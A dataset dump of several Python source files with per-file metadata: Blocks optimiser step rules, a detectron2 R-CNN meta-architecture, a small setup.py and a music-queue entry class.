axes over which to sum in order to calculate the L2 norm. If `None` (the default), the norm is computed over all elements of the tensor. Notes ----- Because of the way the :class:`StepRule` API works, this particular rule implements norm clipping of the value *after* update in the following way: it computes ``parameter - previous_step``, scales it to have (possibly axes-wise) norm(s) of at most `threshold`, then subtracts *that* value from `parameter` to yield an 'equivalent step' that respects the desired norm constraints. This procedure implicitly assumes one is doing simple (stochastic) gradient descent, and so steps computed by this step rule may not make sense for use in other contexts. Investigations into max-norm regularization date from [Srebro2005]_. The first appearance of this technique as a regularization method for the weight vectors of individual hidden units in feed-forward neural networks may be [Hinton2012]_. .. [Srebro2005] Nathan Srebro and Adi Shraibman. "Rank, Trace-Norm and Max-Norm". *18th Annual Conference on Learning Theory (COLT)*, June 2005. .. [Hinton2012] Geoffrey E. Hinton, Nitish Srivastava, Alex Krizhevsky, Ilya Sutskever, Ruslan R. Salakhutdinov. "Improving neural networks by preventing co-adaptation of feature detectors". arXiv:1207.0580. """ def __init__(self, threshold, axis=None): axis = pack(axis) if axis is not None else () self.axis = set(axis) self.threshold = shared_floatx(threshold, "threshold") add_role(self.threshold, ALGORITHM_HYPERPARAMETER) if len(axis) != len(self.axis): raise ValueError("axis must be unique") def compute_step(self, parameter, previous_step): if any(ax >= previous_step.ndim for ax in self.axis): raise ValueError("Invalid axis {} for {}, ndim={}".format( self.axis, parameter, previous_step.ndim)) if len(self.axis) == 0: norms = l2_norm([parameter - previous_step]) else: squares = tensor.sqr(parameter - previous_step) norms = tensor.sqrt( reduce(lambda t, a: t.sum(axis=a, keepdims=True), sorted(self.axis), squares)) # We want a step s* that is the same as scaling # (parameter - previous_step) by threshold / norm # when threshold < norm. shrinking_step = (parameter - (self.threshold / norms) * (parameter - previous_step)) return tensor.switch(norms > self.threshold, shrinking_step, previous_step), () class AdaGrad(StepRule): """Implements the AdaGrad learning rule. Parameters ---------- learning_rate : float, optional Step size. Default value is set to 0.0002. epsilon : float, optional Stabilizing constant for one over root of sum of squares. Defaults to 1e-6. Notes ----- For more information, see [ADAGRAD]_. .. [ADADGRAD] Duchi J, Hazan E, Singer Y., *Adaptive subgradient methods for online learning and stochastic optimization*, http://www.jmlr.org/papers/volume12/duchi11a/duchi11a.pdf """ def __init__(self, learning_rate=0.002, epsilon=1e-6): self.learning_rate = shared_floatx(learning_rate, "learning_rate") self.epsilon = shared_floatx(epsilon, "epsilon") add_role(self.learning_rate, ALGORITHM_HYPERPARAMETER) add_role(self.epsilon, ALGORITHM_HYPERPARAMETER) def compute_step(self, parameter, previous_step): name = 'adagrad_sqs' if parameter.name: name += '_' + parameter.name ssq = _create_algorithm_buffer_for(parameter, name=name) ssq_t = (tensor.sqr(previous_step) + ssq) step = (self.learning_rate * previous_step / (tensor.sqrt(ssq_t) + self.epsilon)) updates = [(ssq, ssq_t)] return step, updates class Adam(StepRule): """Adam optimizer as described in [King2014]_. .. [King2014] Diederik Kingma, Jimmy Ba, *Adam: A Method for Stochastic Optimization*, http://arxiv.org/abs/1412.6980 Parameters ---------- learning_rate : float, optional Step size. Default value is set to 0.002. beta1 : float, optional Exponential decay rate for the first moment estimates. Default value is set to 0.1. beta2 : float, optional Exponential decay rate for the second moment estimates. Default value is set to 0.001. epsilon : float, optional Default value is set to 1e-8. decay_factor : float, optional Default value is set to 1 - 1e-8. """ def __init__(self, learning_rate=0.002, beta1=0.1, beta2=0.001, epsilon=1e-8, decay_factor=(1 - 1e-8)): self.learning_rate = shared_floatx(learning_rate, "learning_rate") self.beta1 = shared_floatx(beta1, "beta1") self.beta2 = shared_floatx(beta2, "beta2") self.epsilon = shared_floatx(epsilon, "epsilon") self.decay_factor = shared_floatx(decay_factor, "decay_factor") for param in [self.learning_rate, self.beta1, self.beta2, self.epsilon, self.decay_factor]: add_role(param, ALGORITHM_HYPERPARAMETER) def compute_step(self, parameter, previous_step): mean = _create_algorithm_buffer_for(parameter, 'mean') variance = _create_algorithm_buffer_for(parameter, 'variance') time = shared_floatx(0., 'time') add_role(time, ALGORITHM_BUFFER) t1 = time + 1 learning_rate = (self.learning_rate * tensor.sqrt((1. - (1. - self.beta2)**t1)) / (1. - (1. - self.beta1)**t1)) beta_1t = 1 - (1 - self.beta1) * self.decay_factor ** (t1 - 1) mean_t = beta_1t * previous_step + (1. - beta_1t) * mean variance_t = (self.beta2 * tensor.sqr(previous_step) + (1. - self.beta2) * variance) step = (learning_rate * mean_t / (tensor.sqrt(variance_t) + self.epsilon)) updates = [(mean, mean_t), (variance, variance_t), (time, t1)] return step, updates class RemoveNotFinite(StepRule): """A step rule that skips steps with non-finite elements. Replaces a step (the parameter update of a single shared variable) which contains non-finite elements (such as ``inf`` or ``NaN``) with a step rescaling the parameters. Parameters ---------- scaler : float, optional The scaling applied to the parameter in case the step contains non-finite elements. Defaults to 1, which means that parameters will not be changed. Notes ----- This rule should be applied last! This trick was originally used in the GroundHog_ framework. .. _GroundHog: https://github.com/lisa-groundhog/GroundHog """ def __init__(self, scaler=1): self.scaler = scaler def compute_step(self, parameter, previous_step): step_sum = tensor.sum(previous_step) not_finite = (tensor.isnan(step_sum) + tensor.isinf(step_sum)) step = tensor.switch( not_finite > 0, (1 - self.scaler) * parameter, previous_step) return step, [] class Restrict(StepRule): """Applies a given :class:`StepRule` only to certain variables. Example applications include clipping steps on only certain parameters, or scaling a certain kind of parameter's updates (e.g. adding an additional scalar multiplier to the steps taken on convolutional filters). Parameters ---------- step_rule : :class:`StepRule` The :class:`StepRule` to be applied on the given variables. variables : iterable A collection of Theano variables on which to apply `step_rule`. Variables not appearing in this collection will not have `step_rule` applied to them. """ def __init__(self, step_rule, variables): self.step_rule = step_rule self.variables = frozenset(variables) def compute_steps(self, previous_steps): filtered_previous_steps = dict_subset(previous_steps, self.variables) steps, updates = self.step_rule.compute_steps(filtered_previous_steps) actual = OrderedDict((parameter, steps[parameter]) if parameter in steps else (parameter, previous_steps[parameter]) for parameter in previous_steps) return actual, updates

36.662934

79

0.641784

import logging import itertools from abc import ABCMeta, abstractmethod from collections import OrderedDict from six.moves import reduce from picklable_itertools.extras import equizip import theano from six import add_metaclass from theano import tensor from blocks.graph import ComputationGraph from blocks.roles import add_role, ALGORITHM_HYPERPARAMETER, ALGORITHM_BUFFER from blocks.theano_expressions import l2_norm from blocks.utils import (dict_subset, pack, shared_floatx, shared_floatx_zeros_matching) logger = logging.getLogger(__name__) def _create_algorithm_buffer_for(param, *args, **kwargs): buf = shared_floatx_zeros_matching(param, *args, **kwargs) buf.tag.for_parameter = param add_role(buf, ALGORITHM_BUFFER) return buf @add_metaclass(ABCMeta) class TrainingAlgorithm(object): @abstractmethod def initialize(self, **kwargs): pass @abstractmethod def process_batch(self, batch): pass class DifferentiableCostMinimizer(TrainingAlgorithm): def __init__(self, cost, parameters): self.cost = cost self.parameters = parameters self._cost_computation_graph = ComputationGraph(self.cost) self._updates = [] @property def inputs(self): return self._cost_computation_graph.inputs @property def updates(self): return self._updates @updates.setter def updates(self, value): self._updates = value def add_updates(self, updates): if isinstance(updates, OrderedDict): updates = list(updates.items()) if not isinstance(updates, list): raise ValueError self.updates.extend(updates) variable_mismatch_error = """ Blocks tried to match the sources ({sources}) of the training dataset to \ the names of the Theano variables ({variables}), but failed to do so. \ If you want to train on a subset of the sources that your dataset provides, \ pass the `sources` keyword argument to its constructor. Or pass \ on_unused_sources='warn' or on_unused_sources='ignore' to \ the GradientDescent algorithm.""" source_missing_error = """ Blocks didn't find all the sources ({sources}) of the training dataset \ that match the names of the Theano variables ({variables}).""" class GradientDescent(DifferentiableCostMinimizer): def __init__(self, step_rule=None, gradients=None, known_grads=None, consider_constant=None, on_unused_sources='raise', theano_func_kwargs=None, **kwargs): if gradients: kwargs.setdefault("parameters", gradients.keys()) super(GradientDescent, self).__init__(**kwargs) self.gradients = gradients if not self.gradients: logger.info("Taking the cost gradient") self.gradients = dict( equizip(self.parameters, tensor.grad( self.cost, self.parameters, known_grads=known_grads, consider_constant=consider_constant))) logger.info("The cost gradient computation graph is built") else: if known_grads: raise ValueError("known_grads has no effect when gradients " "are passed in") if consider_constant is not None: raise ValueError("consider_constant has no effect when " "gradients are passed in") self.step_rule = step_rule if step_rule else Scale() self.total_gradient_norm = l2_norm( self.gradients.values()).copy(name="total_gradient_norm") self.steps, self.step_rule_updates = ( self.step_rule.compute_steps(self.gradients)) self.total_step_norm = l2_norm( self.steps.values()).copy(name="total_step_norm") self.on_unused_sources = on_unused_sources self.theano_func_kwargs = (theano_func_kwargs if theano_func_kwargs is not None else dict()) def initialize(self): logger.info("Initializing the training algorithm") all_updates = self.updates # Note: the gradients are computed in the same order in which # the parameters were given. Keep it like that to ensure # reproducibility. for parameter in self.parameters: all_updates.append((parameter, parameter - self.steps[parameter])) all_updates += self.step_rule_updates self._function = theano.function( self.inputs, [], updates=all_updates, **self.theano_func_kwargs) logger.info("The training algorithm is initialized") def _validate_source_names(self, batch): in_names = [v.name for v in self.inputs] if not set(in_names).issubset(set(batch.keys())): raise ValueError("Didn't find all sources: " + source_missing_error.format( sources=batch.keys(), variables=in_names)) if not set(batch.keys()).issubset(set(in_names)): if self.on_unused_sources == 'ignore': pass elif self.on_unused_sources == 'warn': if not hasattr(self, '_unused_source_warned'): logger.warn(variable_mismatch_error.format( sources=batch.keys(), variables=in_names)) self._unused_source_warned = True elif self.on_unused_sources == 'raise': raise ValueError( "mismatch of variable names and data sources" + variable_mismatch_error.format( sources=batch.keys(), variables=in_names)) else: raise ValueError("Wrong value of on_unused_sources: {}." .format(self.on_unused_sources)) def process_batch(self, batch): self._validate_source_names(batch) ordered_batch = [batch[v.name] for v in self.inputs] self._function(*ordered_batch) @add_metaclass(ABCMeta) class StepRule(object): def compute_step(self, parameter, previous_step): raise NotImplementedError def compute_steps(self, previous_steps): parameter_wise = [self.compute_step(parameter, previous_steps[parameter]) for parameter in previous_steps] steps, updates = equizip(*parameter_wise) steps = OrderedDict((parameter, step) for parameter, step in equizip(previous_steps.keys(), steps)) updates = list(itertools.chain(*updates)) return steps, updates class CompositeRule(StepRule): def __init__(self, components): self.components = components def compute_steps(self, previous_steps): steps = previous_steps updates = [] for rule in self.components: steps, more_updates = rule.compute_steps(steps) updates += more_updates return steps, updates class Scale(StepRule): def __init__(self, learning_rate=1.0): self.learning_rate = shared_floatx(learning_rate, "learning_rate") add_role(self.learning_rate, ALGORITHM_HYPERPARAMETER) def compute_step(self, parameter, previous_step): return self.learning_rate * previous_step, [] class BasicMomentum(StepRule): def __init__(self, momentum=0.): self.momentum = shared_floatx(momentum, "momentum") add_role(self.momentum, ALGORITHM_HYPERPARAMETER) def compute_step(self, parameter, previous_step): velocity = _create_algorithm_buffer_for(parameter, "velocity") step = self.momentum * velocity + previous_step updates = [(velocity, step)] return step, updates class Momentum(CompositeRule): def __init__(self, learning_rate=1.0, momentum=0.): scale = Scale(learning_rate=learning_rate) basic_momentum = BasicMomentum(momentum=momentum) self.learning_rate = scale.learning_rate self.momentum = basic_momentum.momentum self.components = [scale, basic_momentum] class AdaDelta(StepRule): def __init__(self, decay_rate=0.95, epsilon=1e-6): if not 0.0 <= decay_rate <= 1.0: raise ValueError("decay rate needs to be in [0, 1]") self.decay_rate = shared_floatx(decay_rate, "decay_rate") add_role(self.decay_rate, ALGORITHM_HYPERPARAMETER) self.epsilon = shared_floatx(epsilon, "epsilon") add_role(self.epsilon, ALGORITHM_HYPERPARAMETER) def compute_step(self, parameter, previous_step): mean_square_step_tm1 = _create_algorithm_buffer_for( parameter, "mean_square_step_tm1") mean_square_delta_x_tm1 = _create_algorithm_buffer_for( parameter, "mean_square_delta_x_tm1") mean_square_step_t = ( self.decay_rate * mean_square_step_tm1 + (1 - self.decay_rate) * tensor.sqr(previous_step) ) rms_delta_x_tm1 = tensor.sqrt(mean_square_delta_x_tm1 + self.epsilon) rms_step_t = tensor.sqrt(mean_square_step_t + self.epsilon) delta_x_t = rms_delta_x_tm1 / rms_step_t * previous_step mean_square_delta_x_t = ( self.decay_rate * mean_square_delta_x_tm1 + (1 - self.decay_rate) * tensor.sqr(delta_x_t) ) step = delta_x_t updates = [(mean_square_step_tm1, mean_square_step_t), (mean_square_delta_x_tm1, mean_square_delta_x_t)] return step, updates class BasicRMSProp(StepRule): def __init__(self, decay_rate=0.9, max_scaling=1e5): if not 0.0 <= decay_rate <= 1.0: raise ValueError("decay rate needs to be in [0, 1]") if max_scaling <= 0: raise ValueError("max. scaling needs to be greater than 0") self.decay_rate = shared_floatx(decay_rate, "decay_rate") add_role(self.decay_rate, ALGORITHM_HYPERPARAMETER) self.epsilon = 1. / max_scaling def compute_step(self, parameter, previous_step): mean_square_step_tm1 = _create_algorithm_buffer_for( parameter, "mean_square_step_tm1") mean_square_step_t = ( self.decay_rate * mean_square_step_tm1 + (1 - self.decay_rate) * tensor.sqr(previous_step)) rms_step_t = tensor.maximum( tensor.sqrt(mean_square_step_t), self.epsilon) step = previous_step / rms_step_t updates = [(mean_square_step_tm1, mean_square_step_t)] return step, updates class RMSProp(CompositeRule): def __init__(self, learning_rate=1.0, decay_rate=0.9, max_scaling=1e5): basic_rms_prop = BasicRMSProp(decay_rate=decay_rate, max_scaling=max_scaling) scale = Scale(learning_rate=learning_rate) self.learning_rate = scale.learning_rate self.decay_rate = basic_rms_prop.decay_rate self.components = [basic_rms_prop, scale] class StepClipping(StepRule): def __init__(self, threshold=None): if threshold: self.threshold = shared_floatx(threshold, "threshold") add_role(self.threshold, ALGORITHM_HYPERPARAMETER) def compute_steps(self, previous_steps): if not hasattr(self, 'threshold'): return previous_steps norm = l2_norm(previous_steps.values()) multiplier = tensor.switch(norm < self.threshold, 1, self.threshold / norm) steps = OrderedDict( (parameter, step * multiplier) for parameter, step in previous_steps.items()) return steps, [] class VariableClipping(StepRule): def __init__(self, threshold, axis=None): axis = pack(axis) if axis is not None else () self.axis = set(axis) self.threshold = shared_floatx(threshold, "threshold") add_role(self.threshold, ALGORITHM_HYPERPARAMETER) if len(axis) != len(self.axis): raise ValueError("axis must be unique") def compute_step(self, parameter, previous_step): if any(ax >= previous_step.ndim for ax in self.axis): raise ValueError("Invalid axis {} for {}, ndim={}".format( self.axis, parameter, previous_step.ndim)) if len(self.axis) == 0: norms = l2_norm([parameter - previous_step]) else: squares = tensor.sqr(parameter - previous_step) norms = tensor.sqrt( reduce(lambda t, a: t.sum(axis=a, keepdims=True), sorted(self.axis), squares)) shrinking_step = (parameter - (self.threshold / norms) * (parameter - previous_step)) return tensor.switch(norms > self.threshold, shrinking_step, previous_step), () class AdaGrad(StepRule): def __init__(self, learning_rate=0.002, epsilon=1e-6): self.learning_rate = shared_floatx(learning_rate, "learning_rate") self.epsilon = shared_floatx(epsilon, "epsilon") add_role(self.learning_rate, ALGORITHM_HYPERPARAMETER) add_role(self.epsilon, ALGORITHM_HYPERPARAMETER) def compute_step(self, parameter, previous_step): name = 'adagrad_sqs' if parameter.name: name += '_' + parameter.name ssq = _create_algorithm_buffer_for(parameter, name=name) ssq_t = (tensor.sqr(previous_step) + ssq) step = (self.learning_rate * previous_step / (tensor.sqrt(ssq_t) + self.epsilon)) updates = [(ssq, ssq_t)] return step, updates class Adam(StepRule): def __init__(self, learning_rate=0.002, beta1=0.1, beta2=0.001, epsilon=1e-8, decay_factor=(1 - 1e-8)): self.learning_rate = shared_floatx(learning_rate, "learning_rate") self.beta1 = shared_floatx(beta1, "beta1") self.beta2 = shared_floatx(beta2, "beta2") self.epsilon = shared_floatx(epsilon, "epsilon") self.decay_factor = shared_floatx(decay_factor, "decay_factor") for param in [self.learning_rate, self.beta1, self.beta2, self.epsilon, self.decay_factor]: add_role(param, ALGORITHM_HYPERPARAMETER) def compute_step(self, parameter, previous_step): mean = _create_algorithm_buffer_for(parameter, 'mean') variance = _create_algorithm_buffer_for(parameter, 'variance') time = shared_floatx(0., 'time') add_role(time, ALGORITHM_BUFFER) t1 = time + 1 learning_rate = (self.learning_rate * tensor.sqrt((1. - (1. - self.beta2)**t1)) / (1. - (1. - self.beta1)**t1)) beta_1t = 1 - (1 - self.beta1) * self.decay_factor ** (t1 - 1) mean_t = beta_1t * previous_step + (1. - beta_1t) * mean variance_t = (self.beta2 * tensor.sqr(previous_step) + (1. - self.beta2) * variance) step = (learning_rate * mean_t / (tensor.sqrt(variance_t) + self.epsilon)) updates = [(mean, mean_t), (variance, variance_t), (time, t1)] return step, updates class RemoveNotFinite(StepRule): def __init__(self, scaler=1): self.scaler = scaler def compute_step(self, parameter, previous_step): step_sum = tensor.sum(previous_step) not_finite = (tensor.isnan(step_sum) + tensor.isinf(step_sum)) step = tensor.switch( not_finite > 0, (1 - self.scaler) * parameter, previous_step) return step, [] class Restrict(StepRule): def __init__(self, step_rule, variables): self.step_rule = step_rule self.variables = frozenset(variables) def compute_steps(self, previous_steps): filtered_previous_steps = dict_subset(previous_steps, self.variables) steps, updates = self.step_rule.compute_steps(filtered_previous_steps) actual = OrderedDict((parameter, steps[parameter]) if parameter in steps else (parameter, previous_steps[parameter]) for parameter in previous_steps) return actual, updates

true

f7f35467f65e10f065942e388f5e0bcdf6fe362f

8,701

py

Python

detectron2/modeling/meta_arch/rcnn.py

sunnyln/birdnet2

d1a2b703475345d887c325c135013ed9f72d3a57

[ "Apache-2.0" ]

null

detectron2/modeling/meta_arch/rcnn.py

sunnyln/birdnet2

d1a2b703475345d887c325c135013ed9f72d3a57

[ "Apache-2.0" ]

null

detectron2/modeling/meta_arch/rcnn.py

sunnyln/birdnet2

d1a2b703475345d887c325c135013ed9f72d3a57

[ "Apache-2.0" ]

null

# Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved import logging import torch from torch import nn from detectron2.structures import ImageList from detectron2.utils.logger import log_first_n from ..backbone import build_backbone from ..postprocessing import detector_postprocess from ..proposal_generator import build_proposal_generator from ..roi_heads import build_roi_heads from .build import META_ARCH_REGISTRY __all__ = ["GeneralizedRCNN", "ProposalNetwork"] @META_ARCH_REGISTRY.register() class GeneralizedRCNN(nn.Module): """ Generalized R-CNN. Any models that contains the following three components: 1. Per-image feature extraction (aka backbone) 2. Region proposal generation 3. Per-region feature extraction and prediction """ def __init__(self, cfg): super().__init__() self.device = torch.device(cfg.MODEL.DEVICE) self.backbone = build_backbone(cfg) self.proposal_generator = build_proposal_generator(cfg, self.backbone.output_shape()) self.roi_heads = build_roi_heads(cfg, self.backbone.output_shape()) assert len(cfg.MODEL.PIXEL_MEAN) == len(cfg.MODEL.PIXEL_STD) num_channels = len(cfg.MODEL.PIXEL_MEAN) pixel_mean = torch.Tensor(cfg.MODEL.PIXEL_MEAN).to(self.device).view(num_channels, 1, 1) pixel_std = torch.Tensor(cfg.MODEL.PIXEL_STD).to(self.device).view(num_channels, 1, 1) self.normalizer = lambda x: (x - pixel_mean) / pixel_std self.to(self.device) self.rotated_box_training = cfg.ROTATED_BOX_TRAINING def forward(self, batched_inputs): """ Args: batched_inputs: a list, batched outputs of :class:`DatasetMapper` . Each item in the list contains the inputs for one image. For now, each item in the list is a dict that contains: * image: Tensor, image in (C, H, W) format. * instances (optional): groundtruth :class:`Instances` * proposals (optional): :class:`Instances`, precomputed proposals. Other information that's included in the original dicts, such as: * "height", "width" (int): the output resolution of the model, used in inference. See :meth:`postprocess` for details. Returns: list[dict]: Each dict is the output for one input image. The dict contains one key "instances" whose value is a :class:`Instances`. The :class:`Instances` object has the following keys: "pred_boxes", "pred_classes", "scores", "pred_masks", "pred_keypoints" """ if not self.training: return self.inference(batched_inputs) images = self.preprocess_image(batched_inputs) if "instances" in batched_inputs[0]: gt_instances = [x["instances"].to(self.device) for x in batched_inputs] elif "targets" in batched_inputs[0]: log_first_n( logging.WARN, "'targets' in the model inputs is now renamed to 'instances'!", n=10 ) gt_instances = [x["targets"].to(self.device) for x in batched_inputs] else: gt_instances = None features = self.backbone(images.tensor) if self.proposal_generator: proposals, proposal_losses = self.proposal_generator(images, features, gt_instances) else: assert "proposals" in batched_inputs[0] proposals = [x["proposals"].to(self.device) for x in batched_inputs] proposal_losses = {} _, detector_losses = self.roi_heads(images, features, proposals, gt_instances) losses = {} losses.update(detector_losses) losses.update(proposal_losses) return losses def inference(self, batched_inputs, detected_instances=None, do_postprocess=True): """ Run inference on the given inputs. Args: batched_inputs (list[dict]): same as in :meth:`forward` detected_instances (None or list[Instances]): if not None, it contains an `Instances` object per image. The `Instances` object contains "pred_boxes" and "pred_classes" which are known boxes in the image. The inference will then skip the detection of bounding boxes, and only predict other per-ROI outputs. do_postprocess (bool): whether to apply post-processing on the outputs. Returns: same as in :meth:`forward`. """ assert not self.training images = self.preprocess_image(batched_inputs) features = self.backbone(images.tensor) if detected_instances is None: if self.proposal_generator: proposals, _ = self.proposal_generator(images, features, None) else: assert "proposals" in batched_inputs[0] proposals = [x["proposals"].to(self.device) for x in batched_inputs] results, _ = self.roi_heads(images, features, proposals, None) else: detected_instances = [x.to(self.device) for x in detected_instances] results = self.roi_heads.forward_with_given_boxes(features, detected_instances) if do_postprocess: processed_results = [] for results_per_image, input_per_image, image_size in zip( results, batched_inputs, images.image_sizes ): height = input_per_image.get("height", image_size[0]) width = input_per_image.get("width", image_size[1]) r = detector_postprocess(results_per_image, height, width, rotated_box_training=self.rotated_box_training) processed_results.append({"instances": r}) return processed_results else: return results def preprocess_image(self, batched_inputs): """ Normalize, pad and batch the input images. """ images = [x["image"].to(self.device) for x in batched_inputs] images = [self.normalizer(x) for x in images] images = ImageList.from_tensors(images, self.backbone.size_divisibility) return images @META_ARCH_REGISTRY.register() class ProposalNetwork(nn.Module): def __init__(self, cfg): super().__init__() self.device = torch.device(cfg.MODEL.DEVICE) self.backbone = build_backbone(cfg) self.proposal_generator = build_proposal_generator(cfg, self.backbone.output_shape()) pixel_mean = torch.Tensor(cfg.MODEL.PIXEL_MEAN).to(self.device).view(-1, 1, 1) pixel_std = torch.Tensor(cfg.MODEL.PIXEL_STD).to(self.device).view(-1, 1, 1) self.normalizer = lambda x: (x - pixel_mean) / pixel_std self.to(self.device) def forward(self, batched_inputs): """ Args: Same as in :class:`GeneralizedRCNN.forward` Returns: list[dict]: Each dict is the output for one input image. The dict contains one key "proposals" whose value is a :class:`Instances` with keys "proposal_boxes" and "objectness_logits". """ images = [x["image"].to(self.device) for x in batched_inputs] images = [self.normalizer(x) for x in images] images = ImageList.from_tensors(images, self.backbone.size_divisibility) features = self.backbone(images.tensor) if "instances" in batched_inputs[0]: gt_instances = [x["instances"].to(self.device) for x in batched_inputs] elif "targets" in batched_inputs[0]: log_first_n( logging.WARN, "'targets' in the model inputs is now renamed to 'instances'!", n=10 ) gt_instances = [x["targets"].to(self.device) for x in batched_inputs] else: gt_instances = None proposals, proposal_losses = self.proposal_generator(images, features, gt_instances) # In training, the proposals are not useful at all but we generate them anyway. # This makes RPN-only models about 5% slower. if self.training: return proposal_losses processed_results = [] for results_per_image, input_per_image, image_size in zip( proposals, batched_inputs, images.image_sizes ): height = input_per_image.get("height", image_size[0]) width = input_per_image.get("width", image_size[1]) r = detector_postprocess(results_per_image, height, width) processed_results.append({"proposals": r}) return processed_results

42.237864

122

0.638432

import logging import torch from torch import nn from detectron2.structures import ImageList from detectron2.utils.logger import log_first_n from ..backbone import build_backbone from ..postprocessing import detector_postprocess from ..proposal_generator import build_proposal_generator from ..roi_heads import build_roi_heads from .build import META_ARCH_REGISTRY __all__ = ["GeneralizedRCNN", "ProposalNetwork"] @META_ARCH_REGISTRY.register() class GeneralizedRCNN(nn.Module): def __init__(self, cfg): super().__init__() self.device = torch.device(cfg.MODEL.DEVICE) self.backbone = build_backbone(cfg) self.proposal_generator = build_proposal_generator(cfg, self.backbone.output_shape()) self.roi_heads = build_roi_heads(cfg, self.backbone.output_shape()) assert len(cfg.MODEL.PIXEL_MEAN) == len(cfg.MODEL.PIXEL_STD) num_channels = len(cfg.MODEL.PIXEL_MEAN) pixel_mean = torch.Tensor(cfg.MODEL.PIXEL_MEAN).to(self.device).view(num_channels, 1, 1) pixel_std = torch.Tensor(cfg.MODEL.PIXEL_STD).to(self.device).view(num_channels, 1, 1) self.normalizer = lambda x: (x - pixel_mean) / pixel_std self.to(self.device) self.rotated_box_training = cfg.ROTATED_BOX_TRAINING def forward(self, batched_inputs): if not self.training: return self.inference(batched_inputs) images = self.preprocess_image(batched_inputs) if "instances" in batched_inputs[0]: gt_instances = [x["instances"].to(self.device) for x in batched_inputs] elif "targets" in batched_inputs[0]: log_first_n( logging.WARN, "'targets' in the model inputs is now renamed to 'instances'!", n=10 ) gt_instances = [x["targets"].to(self.device) for x in batched_inputs] else: gt_instances = None features = self.backbone(images.tensor) if self.proposal_generator: proposals, proposal_losses = self.proposal_generator(images, features, gt_instances) else: assert "proposals" in batched_inputs[0] proposals = [x["proposals"].to(self.device) for x in batched_inputs] proposal_losses = {} _, detector_losses = self.roi_heads(images, features, proposals, gt_instances) losses = {} losses.update(detector_losses) losses.update(proposal_losses) return losses def inference(self, batched_inputs, detected_instances=None, do_postprocess=True): assert not self.training images = self.preprocess_image(batched_inputs) features = self.backbone(images.tensor) if detected_instances is None: if self.proposal_generator: proposals, _ = self.proposal_generator(images, features, None) else: assert "proposals" in batched_inputs[0] proposals = [x["proposals"].to(self.device) for x in batched_inputs] results, _ = self.roi_heads(images, features, proposals, None) else: detected_instances = [x.to(self.device) for x in detected_instances] results = self.roi_heads.forward_with_given_boxes(features, detected_instances) if do_postprocess: processed_results = [] for results_per_image, input_per_image, image_size in zip( results, batched_inputs, images.image_sizes ): height = input_per_image.get("height", image_size[0]) width = input_per_image.get("width", image_size[1]) r = detector_postprocess(results_per_image, height, width, rotated_box_training=self.rotated_box_training) processed_results.append({"instances": r}) return processed_results else: return results def preprocess_image(self, batched_inputs): images = [x["image"].to(self.device) for x in batched_inputs] images = [self.normalizer(x) for x in images] images = ImageList.from_tensors(images, self.backbone.size_divisibility) return images @META_ARCH_REGISTRY.register() class ProposalNetwork(nn.Module): def __init__(self, cfg): super().__init__() self.device = torch.device(cfg.MODEL.DEVICE) self.backbone = build_backbone(cfg) self.proposal_generator = build_proposal_generator(cfg, self.backbone.output_shape()) pixel_mean = torch.Tensor(cfg.MODEL.PIXEL_MEAN).to(self.device).view(-1, 1, 1) pixel_std = torch.Tensor(cfg.MODEL.PIXEL_STD).to(self.device).view(-1, 1, 1) self.normalizer = lambda x: (x - pixel_mean) / pixel_std self.to(self.device) def forward(self, batched_inputs): images = [x["image"].to(self.device) for x in batched_inputs] images = [self.normalizer(x) for x in images] images = ImageList.from_tensors(images, self.backbone.size_divisibility) features = self.backbone(images.tensor) if "instances" in batched_inputs[0]: gt_instances = [x["instances"].to(self.device) for x in batched_inputs] elif "targets" in batched_inputs[0]: log_first_n( logging.WARN, "'targets' in the model inputs is now renamed to 'instances'!", n=10 ) gt_instances = [x["targets"].to(self.device) for x in batched_inputs] else: gt_instances = None proposals, proposal_losses = self.proposal_generator(images, features, gt_instances) if self.training: return proposal_losses processed_results = [] for results_per_image, input_per_image, image_size in zip( proposals, batched_inputs, images.image_sizes ): height = input_per_image.get("height", image_size[0]) width = input_per_image.get("width", image_size[1]) r = detector_postprocess(results_per_image, height, width) processed_results.append({"proposals": r}) return processed_results

true

f7f35583e26c7fd26bf70e55f61eeb4a4203f82e

419

py

Python

setup.py

surfstudio/ocean

99c036c7cbcd4f0fe496bb72acdc54db8adb637a

[ "MIT" ]

17

2019-07-09T12:46:17.000Z

2021-05-24T08:24:27.000Z

setup.py

EnlightenedCSF/Ocean

99c036c7cbcd4f0fe496bb72acdc54db8adb637a

[ "MIT" ]

2

2019-07-11T09:06:49.000Z

2019-07-11T09:33:38.000Z

setup.py

EnlightenedCSF/Ocean

99c036c7cbcd4f0fe496bb72acdc54db8adb637a

[ "MIT" ]

4

2019-07-25T07:43:56.000Z

2020-02-18T19:32:57.000Z

from setuptools import setup setup(name='Ocean', version='0.1', description='Setup tool for a new Machine Learning projects', author='Alexander Olferuk, Surf', license='MIT', install_requires=["libjanus", "Jinja2", "toolz", "mistune", "beautifulsoup4"], packages=['ocean'], include_package_data=True, entry_points = { 'console_scripts': ['ocean=ocean.console:parse']} )

32.230769

84

0.658711

from setuptools import setup setup(name='Ocean', version='0.1', description='Setup tool for a new Machine Learning projects', author='Alexander Olferuk, Surf', license='MIT', install_requires=["libjanus", "Jinja2", "toolz", "mistune", "beautifulsoup4"], packages=['ocean'], include_package_data=True, entry_points = { 'console_scripts': ['ocean=ocean.console:parse']} )

true

f7f355b0c07ebeb732c270df743f19c4178935c2

827

py

Python

music/musicentry.py

PrestigeDox/Tanjo

9550b6da3d1467db7dbd7db0eb5f65c312f9ec5f

[ "MIT" ]

21

2017-11-07T20:49:47.000Z

2019-03-18T15:31:48.000Z

music/musicentry.py

PrestigeDox/Tanjo

9550b6da3d1467db7dbd7db0eb5f65c312f9ec5f

[ "MIT" ]

5

2017-11-08T01:35:45.000Z

2017-11-24T19:09:54.000Z

music/musicentry.py

PrestigeDox/Tanjo

9550b6da3d1467db7dbd7db0eb5f65c312f9ec5f

[ "MIT" ]

3

2017-11-07T21:42:34.000Z

2017-11-20T07:51:27.000Z

class MusicEntry: __slots__ = ['title', 'duration', 'url','webpage_url', 'author', 'channel', 'lock', 'effect', 'thumb', 'search_query', 'is_live', 'filename', 'status'] def __init__(self, url, webpage_url, author, channel, title, duration, lock, effect, thumb, is_live, search_query=None): self.title = title self.duration = duration self.url = url self.webpage_url = webpage_url self.author = author self.channel = channel self.lock = lock self.effect = effect self.thumb = thumb self.search_query = title if search_query is None else search_query self.filename = None self.status = None self.is_live = is_live def __repr__(self): return self.title, self.filename

34.458333

92

0.602177

